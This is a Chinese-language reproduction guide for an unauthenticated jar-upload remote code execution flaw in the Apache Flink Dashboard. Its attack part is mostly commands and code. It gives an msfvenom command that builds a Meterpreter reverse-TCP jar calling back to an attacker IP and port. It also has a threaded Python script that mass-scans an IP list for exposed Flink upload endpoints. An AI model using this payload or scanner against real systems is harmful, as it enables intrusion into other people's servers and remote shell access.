001-Apache Flink Dashboard 未授权访问-远程代码命令执行

# Apache Flink Dashboard 未授权访问-远程代码命令执行

## 一、漏洞简介

Apache Flink的任意Jar包上传导致远程代码执行的漏洞

## 二、漏洞影响

<= 1.9.1(最新版本) ## 三、复现过程 1、 ```bash msfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.20.166 LPORT=8989 -f jar > rce.jar
“`


2、

上传alewong Jar包



批量脚本

https://github.com/ianxtianxt/Apache-Flink-Dashboard-rec

“`python
“””
auth: @l3_W0ng
version: 1.0
function: Apache Web Dashboard RCE
usage: python3 script.py ip [port [command]]
default port=8081
“””

import os
import subprocess
import requests
from multiprocessing.dummy import Pool as ThreadPool

def get_iplist():
iplist = []
with open(‘iplist’, ‘r’) as file:
data = file.readlines()
for item in data:
ip = item.strip()
iplist.append(ip)

return iplist

def check_8081(ip):
url = ‘http://’ + ip + ‘:8081/jar/upload’

try:
res = requests.get(url=url, timeout=2)
data = {
‘msg’: res.json(),
‘state’: 1,
‘url’: url,
‘ip’: ip
}

except:
data = {
‘msg’: ‘Secure’,
‘state’: 0,
‘ip’: ip
}

if data[‘state’] == 1:
print(data)

if __name__ == ‘__main__’:
iplist = get_iplist()

pool = ThreadPool(20)
pool.map(check_8081, iplist)
“`

Ps:

当注释掉 if ‘Unable to load requested file’ in str(data):

之后，出现Token为空，或者 Unauthorized request 时候是不存在未授权访问的，而是带授权
